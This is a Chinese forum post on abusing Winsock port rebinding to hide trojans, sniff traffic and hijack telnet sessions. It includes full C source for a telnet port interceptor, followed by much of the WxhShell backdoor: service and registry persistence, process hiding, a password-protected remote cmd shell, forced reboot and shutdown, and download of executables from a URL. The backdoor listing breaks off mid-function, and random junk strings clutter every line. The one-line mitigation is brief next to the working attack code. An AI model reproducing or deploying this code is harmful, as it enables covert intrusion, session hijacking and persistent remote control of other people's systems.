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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t*e+[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6SlE>b9tA  
-!(3fO:  
  saddr.sin_family = AF_INET; \9@*Jgpd6*  
KW^s~j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VlXIM,  
Z]uN9c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $//18+T  
N, ;'oL+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^7F!>!9Ca  
2,q^O3F  
  这意味着什么?意味着可以进行如下的攻击: qPH]DabpI  
p0`Wci  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \*!g0C 8 o  
"{qhk{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p^ 9QYR  
JR'Q Th:z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \TC&/'7}  
XV). cW|.a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I2YQIY+  
4U C/pGZY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pk: ruf`)  
8y~ Jn~t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \QHe0?6  
E' JVf%)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zrRt0}?xl  
 @*%Q,$  
  #include jr" yIC_  
  #include <s]K~ Vo  
  #include ,^:Zf|V  
  #include    Xdq2.:\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T1\Xz-1  
  int main() }_@cqx:n^  
  {  6:ZqS~-  
  WORD wVersionRequested; #}:VZ2Z  
  DWORD ret; "g>uNtt~  
  WSADATA wsaData; ~W%A8`9  
  BOOL val; Wy)|-Q7  
  SOCKADDR_IN saddr; 1fViW^l_  
  SOCKADDR_IN scaddr; |>jlY|  
  int err; D:8-f3  
  SOCKET s; j4ypXPY``!  
  SOCKET sc; s2b!Nib  
  int caddsize; ?n\~&n'C  
  HANDLE mt; H6bomp"  
  DWORD tid;   V1xpJ  
  wVersionRequested = MAKEWORD( 2, 2 ); =qCVy:RL4  
  err = WSAStartup( wVersionRequested, &wsaData ); 3(E"$Se,f  
  if ( err != 0 ) { X OJ/$y  
  printf("error!WSAStartup failed!\n"); Crm](Z?  
  return -1; c^A3|tCi  
  } uC 5mxZ  
  saddr.sin_family = AF_INET; s-k~_C>Fw  
   6jPaS!E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (gl CTF9v  
C.%iQx`   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j05ahquI  
  saddr.sin_port = htons(23); im*QaO%a4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L.l"'=M  
  { V<:kS  
  printf("error!socket failed!\n"); HR.S.(t[_  
  return -1; +qD4`aI   
  } 4-ZiKM  
  val = TRUE; }I#;~|v~<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 < LzN/I aJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #wx0xQ~,J  
  { l \xIGs  
  printf("error!setsockopt failed!\n"); 1nBE8 N  
  return -1; fG0rUi(8  
  } @l$cZi e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W_O,Kao  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F{bET  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,#gA(B#  
&,{cm^*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #++MoW}'g  
  { u9N?B* &{  
  ret=GetLastError(); Uc<B)7{'  
  printf("error!bind failed!\n"); 0N_Ma')i  
  return -1; nU[ROy5  
  } :9_K@f?n  
  listen(s,2); 0Q]x[;!k  
  while(1) - Kj$A@~x  
  { ,UH`l./3DX  
  caddsize = sizeof(scaddr); o=w& &B  
  //接受连接请求 B%^B_s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <4rF3 aB-  
  if(sc!=INVALID_SOCKET) ;G;vpl  
  { 3L=vsvO4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :pDwg d  
  if(mt==NULL) <IK8 Ucp  
  { DK*2 d_  
  printf("Thread Creat Failed!\n"); 9i,QCA  
  break; !@ai=p  
  } 4LUFG  
  } pjIXZ=  
  CloseHandle(mt); < ynm A  
  } /D 2v 1  
  closesocket(s); YOP=gvZq  
  WSACleanup(); i. `S0  
  return 0; N@?Fpmu/k  
  }   `"A\8)6-  
  DWORD WINAPI ClientThread(LPVOID lpParam) XZ Z Ml  
  { )I.[@#-  
  SOCKET ss = (SOCKET)lpParam; wEKm3mY;  
  SOCKET sc; qJ5Y}/r  
  unsigned char buf[4096]; Uu }ai."iB  
  SOCKADDR_IN saddr; ~WR6rc  
  long num; afG b}8 Q9  
  DWORD val; 9t7_7{Q+;  
  DWORD ret; !<((@*zU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mBQ6qmK   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3AX/A+2  
  saddr.sin_family = AF_INET; 9oc.`-e\?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Xh=rx_  
  saddr.sin_port = htons(23); p`33`25  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S7E:&E&  
  { t+q:8HNh  
  printf("error!socket failed!\n"); Q4CxtY  
  return -1; q:J,xC_sF(  
  } 4=*VXM/  
  val = 100; NnrX64|0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jP@H$$-=wH  
  { ylmf^G@JC  
  ret = GetLastError(); Kn=P~,FaG3  
  return -1; ;gK+AU  
  } J --9VlC'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 224I%x.,  
  { {j ${i  
  ret = GetLastError(); t}_qtO7>  
  return -1; [KVBT;q6  
  } i7cMe8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <CzH'!FJN  
  { RfEmkb<9Z  
  printf("error!socket connect failed!\n"); =NH:/j^  
  closesocket(sc); >[O @u4  
  closesocket(ss); sW3-JA]  
  return -1; +\\,FO_  
  } [=S@lURzm@  
  while(1) h+t{z"Ic=  
  { x_2 [+Ol  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7evE;KL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y5BNHweaRb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8iqx*8}  
  num = recv(ss,buf,4096,0); o_b j@X  
  if(num>0) /DQoM@X  
  send(sc,buf,num,0); 9_ KUUA  
  else if(num==0) 1;]cYIq  
  break; MftX~+  
  num = recv(sc,buf,4096,0); F>96]71 2  
  if(num>0) R l^ENrv!]  
  send(ss,buf,num,0); 3oE *86  
  else if(num==0) najd~%?Rs  
  break; v?-pAA)ht  
  } \_De( p  
  closesocket(ss); #wk'&XsC#z  
  closesocket(sc); 6EGh8H f  
  return 0 ; zw7=:<z=  
  } Z[ZqQ` 7N  
8e[kE>tS._  
~BDVmQa  
========================================================== 'fy1'^VPAV  
UfOF's_'<  
下边附上一个代码,,WXhSHELL B9>3xxp(by  
jxZ R%D  
========================================================== b@/z^k{%  
) $#ov-]  
#include "stdafx.h" ;jo,&C  
A_CEpG]  
#include <stdio.h> 2oGl"3/p  
#include <string.h> C.}Z5BwS  
#include <windows.h> ZiSy&r:(  
#include <winsock2.h> q,PB; TT  
#include <winsvc.h> ?U cW@B{  
#include <urlmon.h> a%Q.8  
FxTOc@<  
#pragma comment (lib, "Ws2_32.lib") 0 #VH=pga  
#pragma comment (lib, "urlmon.lib") YB*ZYpRVl  
n;xtUw6 \  
#define MAX_USER   100 // 最大客户端连接数 $s)G0/~W  
#define BUF_SOCK   200 // sock buffer )?K3nr  
#define KEY_BUFF   255 // 输入 buffer df&d+jY  
:G9.}VrU  
#define REBOOT     0   // 重启 T&tCXi  
#define SHUTDOWN   1   // 关机 Tm.(gK  
.B6$U>>NS^  
#define DEF_PORT   5000 // 监听端口 _^0yE_ili  
5owUQg,W  
#define REG_LEN     16   // 注册表键长度 |9?67-  
#define SVC_LEN     80   // NT服务名长度 ,CA,7Mu:  
5A>W;Q\4  
// 从dll定义API "m3u}!`3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y"K7$+5#\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dSS_^E[{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =xS(Er`r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n^UrHHOL  
iKv{)5  
// wxhshell配置信息 05TZ  
struct WSCFG { 1WfN_JKB5  
  int ws_port;         // 监听端口 Y6?d y\  
  char ws_passstr[REG_LEN]; // 口令 <fJoHS  
  int ws_autoins;       // 安装标记, 1=yes 0=no B+`m  
  char ws_regname[REG_LEN]; // 注册表键名 KNic$:i  
  char ws_svcname[REG_LEN]; // 服务名 A%"mySW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 38>8{Ma  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f]h99T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \XCs(lNh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - 9UQs.Nv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .o]vjNrd/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y(m/E.h.~  
Y@Lv>p  
}; \(cu<{=rU  
eg3zp gZ  
// default Wxhshell configuration ME>OTs  
struct WSCFG wscfg={DEF_PORT, $83TA> <a  
    "xuhuanlingzhe", ']Nw{}eS`  
    1, 3R !Mfz*  
    "Wxhshell", V/.Y]dN5  
    "Wxhshell", 51*o&:eim  
            "WxhShell Service", l=Jbuc  
    "Wrsky Windows CmdShell Service", D`o* OlU  
    "Please Input Your Password: ", HfFP4#C,  
  1, N*|Mfpf  
  "http://www.wrsky.com/wxhshell.exe", JrQd7  
  "Wxhshell.exe" !}9k @=[  
    }; I%h9V([  
l-Xxur5M'  
// 消息定义模块 `jSxq66L p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )|x) KY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VuN= JX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xm6=l".%z  
char *msg_ws_ext="\n\rExit."; ReE6h\j  
char *msg_ws_end="\n\rQuit."; D^E1  
char *msg_ws_boot="\n\rReboot..."; /(bPc12  
char *msg_ws_poff="\n\rShutdown..."; +Tf,2?O  
char *msg_ws_down="\n\rSave to "; ac6L3=u\  
&y[Od{=  
char *msg_ws_err="\n\rErr!"; j="{^b  
char *msg_ws_ok="\n\rOK!"; 1[ ME/r  
z:ue]7(.  
char ExeFile[MAX_PATH]; nr Jl>H  
int nUser = 0; C:"Al-  
HANDLE handles[MAX_USER]; y[UTuFv~Q  
int OsIsNt; npkE [JE:  
yEJ}!/  
SERVICE_STATUS       serviceStatus; <{Wsh#7}.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; il(dVW  
X2 c<.  
// 函数声明 9fp1*d  
int Install(void); [[}KCND  
int Uninstall(void); Du k v[/60  
int DownloadFile(char *sURL, SOCKET wsh); $z"3_4a  
int Boot(int flag); vrXUS9i.  
void HideProc(void); i(Cd#1<  
int GetOsVer(void); 02g}}{be8  
int Wxhshell(SOCKET wsl); 4nmc(CHQ:  
void TalkWithClient(void *cs); T\eOrWt/  
int CmdShell(SOCKET sock); >V2Tr$m j  
int StartFromService(void); aze}ko NE  
int StartWxhshell(LPSTR lpCmdLine); Ms ;:+JI  
bF;g.-.2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +!\$SOaR{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R3`!Xj#&M  
ne4j_!V{Mf  
// 数据结构和表定义 2%y}El^+_  
SERVICE_TABLE_ENTRY DispatchTable[] = EtjN :p|$  
{ _Qs=v0B//  
{wscfg.ws_svcname, NTServiceMain}, ^31X-}t v  
{NULL, NULL} *.#d'~+  
}; rK;F]ei  
})#6 BN  
// 自我安装 S c_#BD.  
int Install(void) O~N0JK_>  
{ MKq:=^w  
  char svExeFile[MAX_PATH]; 4:GVZR|-  
  HKEY key; M<hX !B  
  strcpy(svExeFile,ExeFile); qn}4PVn4  
"a %5on  
// 如果是win9x系统,修改注册表设为自启动 k\8]fh)J\7  
if(!OsIsNt) { ln-+=jk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vY&[=2=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 78&jaw*1A  
  RegCloseKey(key); {s&6C-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h W\q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @iWql*K;m  
  RegCloseKey(key); 8Ux3,X=  
  return 0; 4 ,"%  
    } Lgw!S~0  
  } fA{[H:*}G  
} d%FD =wm  
else { Pb 4%" 9`  
&sleV5V  
// 如果是NT以上系统,安装为系统服务 ,_?P[~1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); th]1> .  
if (schSCManager!=0) ys`"-o[*  
{ !)~b Un  
  SC_HANDLE schService = CreateService .Az' THD}  
  ( wiKUs0|  
  schSCManager,  MO|aN,  
  wscfg.ws_svcname, [}Vne;V  
  wscfg.ws_svcdisp, `./$hh  
  SERVICE_ALL_ACCESS, W9nmTz\8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2x%Xx3!  
  SERVICE_AUTO_START, qOAK`{b  
  SERVICE_ERROR_NORMAL, Qxr&zT7f  
  svExeFile, #\U;,r  
  NULL, w7aC=B/{?i  
  NULL, <2@V$$Qg.~  
  NULL, ~ HFDX@m*  
  NULL, 'au7rX(  
  NULL N) D;)ZH  
  ); w-9M{Es+j  
  if (schService!=0) Gxx:<`[ON  
  { ^GMM%   
  CloseServiceHandle(schService); :%-xiv  
  CloseServiceHandle(schSCManager); s @\UZ C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3.,O7 k7y  
  strcat(svExeFile,wscfg.ws_svcname); S?TyC";!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l'TM^B)`c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <d!_.f}v  
  RegCloseKey(key); qXC>D Gy  
  return 0; g*t(%;_m  
    } iv@ey-,<  
  } OtK=UtVI  
  CloseServiceHandle(schSCManager); VA{2a7]  
} cYHHCaCS  
} x aiA2  
gbF^m`A>%+  
return 1; }@JPvI E  
} 4mNg(w=NF  
v53qpqc  
// 自我卸载 &+]x  
int Uninstall(void) rBR,lS$4  
{ h^QicvZ  
  HKEY key; ,FWC|uM"  
AY3nQH   
if(!OsIsNt) { R)4L]ZF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B^Z %38o  
  RegDeleteValue(key,wscfg.ws_regname); V}de|=  
  RegCloseKey(key); 1C) l) pV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "W!Uxc  
  RegDeleteValue(key,wscfg.ws_regname); ,.Xqb~  
  RegCloseKey(key); kaybi 0  
  return 0; cF6eMml;  
  } lU6?p")F1  
} 2 VgFP3  
} UOh % "h  
else { m^hi}Am1  
aLzRbRv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8&T6  
if (schSCManager!=0) L<8:1/d\  
{ Td~CnCor  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9&(d2  
  if (schService!=0) H$GJpXIb  
  { -U'3kaX5<  
  if(DeleteService(schService)!=0) { :f1Q0klwP  
  CloseServiceHandle(schService); (vL-Z[M!  
  CloseServiceHandle(schSCManager); H#yBWvj*H  
  return 0; ,D#ssxV  
  } dG5p`N %  
  CloseServiceHandle(schService); ^B)iBf Z  
  } .8[Uk^q  
  CloseServiceHandle(schSCManager); /q.iUwSK>  
} E=PmOw7b  
} -1^dOG6*  
dS9L(&  
return 1; C9+`sFau@  
} g~,"C8-H  
jN. '%5Q?H  
// 从指定url下载文件 Qv~KGd9  
int DownloadFile(char *sURL, SOCKET wsh) Q#+y}pOLP  
{ _; 7{1n  
  HRESULT hr; #9=as Y  
char seps[]= "/"; Z.:g8Xl-6  
char *token; mR JX,  
char *file; 9/[1a_ r  
char myURL[MAX_PATH]; A^\A^$|O6  
char myFILE[MAX_PATH]; Ns3k(j16  
Zp:(U3%  
strcpy(myURL,sURL); /F/zMZGSA{  
  token=strtok(myURL,seps); V)HX+D>  
  while(token!=NULL) P[E:=p  
  { frsqnvm;+  
    file=token; mBb;:-5  
  token=strtok(NULL,seps); Yfro^}f  
  } Q:U^):~  
UvR F\x%  
GetCurrentDirectory(MAX_PATH,myFILE); 6Ja } N  
strcat(myFILE, "\\"); {[Bo"a>%  
strcat(myFILE, file); jS_fwuM  
  send(wsh,myFILE,strlen(myFILE),0); *Cs RO  
send(wsh,"...",3,0); bU3e*Er  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (~}P.?C8  
  if(hr==S_OK) G:u-C<^'  
return 0; k(<:  
else Sxn#  
return 1; 7bC1!x*qw  
?<_yW#x6  
} K chp%  
?ykQ]r6a<  
// 系统电源模块 wOfx7D  
int Boot(int flag) 6xDYEvHS  
{ hT c VMc  
  HANDLE hToken; m6'VMW  
  TOKEN_PRIVILEGES tkp; OC(S"&D  
2;!,:bFb  
  if(OsIsNt) { gG^A6Ol%D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zq,[se'nh"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d<x7* OW)  
    tkp.PrivilegeCount = 1; n+ot. -  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rt5FecX\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c,wYXnJ_t  
if(flag==REBOOT) { qM~;Q6{v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +>v3&[lGv  
  return 0; !|\$|m<n  
} rGNYu\\  
else { % ~!A,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2h_XfY'3pX  
  return 0; g>L4N.ZH_v  
} YU*u!  
  } QL_vWG -  
  else { xEULV4Qw  
if(flag==REBOOT) { }8joltf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C2l=7+X#W  
  return 0; ]j=Eof%Rc  
} nTy8:k']  
else { U%<E9G594  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ ;/4'  
  return 0; SVJL|S 3k  
} %9^^X6yLM  
} > T$M0&<  
^( w%m#  
return 1; 5uo?KSX%  
} u ZzO$e  
H K]-QTEn  
// win9x进程隐藏模块 Z%rMX}  
void HideProc(void) ?%QWpKO7X  
{ [9hslk  
n5Coxvy1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  BVJ6U[h`  
  if ( hKernel != NULL ) b8QQS#q)V  
  { 7? 1[sPM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d*}dM "  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n8FmIoZ&`  
    FreeLibrary(hKernel); L6>;"]:f`  
  } =hw&2c  
#![9QUvcf  
return; eNQQ`ll@m  
} ~g#$'dS  
>EacXPt-O  
// 获取操作系统版本 &1!T@^56  
int GetOsVer(void) BXzn-S  
{ Bv=  
  OSVERSIONINFO winfo; x/<eY<Vgm?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %>)HAx `  
  GetVersionEx(&winfo); CXAW>VdK_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nfj8z@!  
  return 1; ls;!Og9  
  else 5 ]c\{G  
  return 0; B IW?/^  
} y TbOBl  
KxA ^?,t[  
// 客户端句柄模块 5 R*  
int Wxhshell(SOCKET wsl) ?Q?=I,2bP  
{ oJ:\8>)9  
  SOCKET wsh; \ #yKCA';  
  struct sockaddr_in client; =x &"aF1  
  DWORD myID; {E 'go]  
hOOkf mOM  
  while(nUser<MAX_USER) ? "+g6II  
{ cZb5h 9  
  int nSize=sizeof(client); >.xg o6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rDD,eNjG  
  if(wsh==INVALID_SOCKET) return 1; }ldOxJSB?  
;2&ym)`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N=vb*3ECg  
if(handles[nUser]==0) _nn\O3TB  
  closesocket(wsh); U8>M`e"D  
else 'joc8o sS  
  nUser++; @5=2+ M  
  } *XCgl*% *  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WDF;`o*3  
;ndwVZ~,  
  return 0; {:%A  
} #Wf9`  
j%q,]HCANh  
// 关闭 socket u)hr  
void CloseIt(SOCKET wsh) ii)DOq#2  
{ r@30y/C  
closesocket(wsh); a,/wqX  
nUser--; jYxmU8  
ExitThread(0); I{8sLzA03S  
} 17C"@1n-  
;_nV*G.y#^  
// 客户端请求句柄 o8ERU($/  
void TalkWithClient(void *cs) [_X.Equ  
{ (K74Qg  
f|r +qe  
  SOCKET wsh=(SOCKET)cs; ,q".d =6  
  char pwd[SVC_LEN]; eoGGWW@[  
  char cmd[KEY_BUFF]; yGs:3KI  
char chr[1]; |<aF)S4  
int i,j; g'pB<?'E'  
S9;:)  
  while (nUser < MAX_USER) { 9aa cW  
6?(Z f  
if(wscfg.ws_passstr) { PF+SHT'4}#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ U`})  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !A|ayYBb\  
  //ZeroMemory(pwd,KEY_BUFF);  %&81xAt  
      i=0; 8 Buus  
  while(i<SVC_LEN) { `,7;2ZG~O  
vNn$dc  
  // 设置超时 &UextGk7  
  fd_set FdRead; Iq% 0fX  
  struct timeval TimeOut; ]nQC  
  FD_ZERO(&FdRead); b]oPx8*'  
  FD_SET(wsh,&FdRead); r.vezsH  
  TimeOut.tv_sec=8; * ak"}s  
  TimeOut.tv_usec=0; @&F\M}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T!ik"YZ@i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a{y"vVQOF  
gwQk M4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~]l T>|X  
  pwd=chr[0]; O Bp&64  
  if(chr[0]==0xd || chr[0]==0xa) { *S?vw'n  
  pwd=0; abczW[\  
  break; RHj<t");  
  } }|-Yd"$  
  i++; km=d'VvnI  
    } Eo@b)h  
CW . O"_  
  // 如果是非法用户,关闭 socket rv2 6vnJy"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n B. u5  
} [CAV"u)0  
sI% =G3o=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?>}&,:U}   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MVYf-'\^  
5n#@,V.O/  
while(1) { Eq82?+9  
-+H?0XN  
  ZeroMemory(cmd,KEY_BUFF); g-O}e4  
|\# 6?y[o  
      // 自动支持客户端 telnet标准   -6yFE- X/  
  j=0; S>N/K  
  while(j<KEY_BUFF) { [Fo" MeH?R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :WM[[LOaC  
  cmd[j]=chr[0]; --'!5)U  
  if(chr[0]==0xa || chr[0]==0xd) { bKb}VP  
  cmd[j]=0; ><r\ 5`  
  break; x4e8;A(y  
  } /q\{OsrX  
  j++; a]%>7yr4  
    } e nw7?|(  
3w!,@=.q  
  // 下载文件 >ZjGs8&  
  if(strstr(cmd,"http://")) { 8^U+P%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YgCSzW&(  
  if(DownloadFile(cmd,wsh)) cd-; ?/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?i~4&EY  
  else ]fb3>HOTJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NkYU3[m$v  
  } >}|Vmy[/  
  else { ,K 1X/),  
'H|=]n0  
    switch(cmd[0]) { IHaNg K2  
  S1Ql%Yk-(  
  // 帮助 Wti?J.Csc  
  case '?': { Xx;4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); go[(N6hN  
    break; oH vVZ  
  } D8r=V f  
  // 安装 0f]LOg  
  case 'i': { Q4!6|%n8v  
    if(Install()) vb1Gz]~)>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;*Vm0>t  
    else 4&a,7uVer  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gsD0N^  
    break;  aa10vV  
    } ^N2N>^'&1.  
  // 卸载 }3xZ`vX[T  
  case 'r': { %yJ $R2%*y  
    if(Uninstall()) 8Ug`2xS<_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +i1\],7  
    else _=d X01  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0s+pcqOd^  
    break; Zyx92z9Y  
    } _WeN\F~^  
  // 显示 wxhshell 所在路径 Rb=8(#  
  case 'p': { hq[RU&\  
    char svExeFile[MAX_PATH]; cN] ]J  
    strcpy(svExeFile,"\n\r"); *]]C.t-cd  
      strcat(svExeFile,ExeFile); du0]LiHV  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Ew.6!s#n1  
    break; r1o_i;rg  
    } I,0Z* rw  
  // 重启 =m6yH_`@  
  case 'b': { ,U?W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6~b]RZe7  
    if(Boot(REBOOT)) cV+ x.)a.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w\f>.N  
    else { WymBjDos:  
    closesocket(wsh); YnLwBJ2i  
    ExitThread(0); L^Q q[>  
    } rh%-va9  
    break; PR i3=3oF  
    } '<v_YxEn  
  // 关机 !/|^ )d^U  
  case 'd': { `kERM-@A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (bBr O74lR  
    if(Boot(SHUTDOWN)) KWzJ  
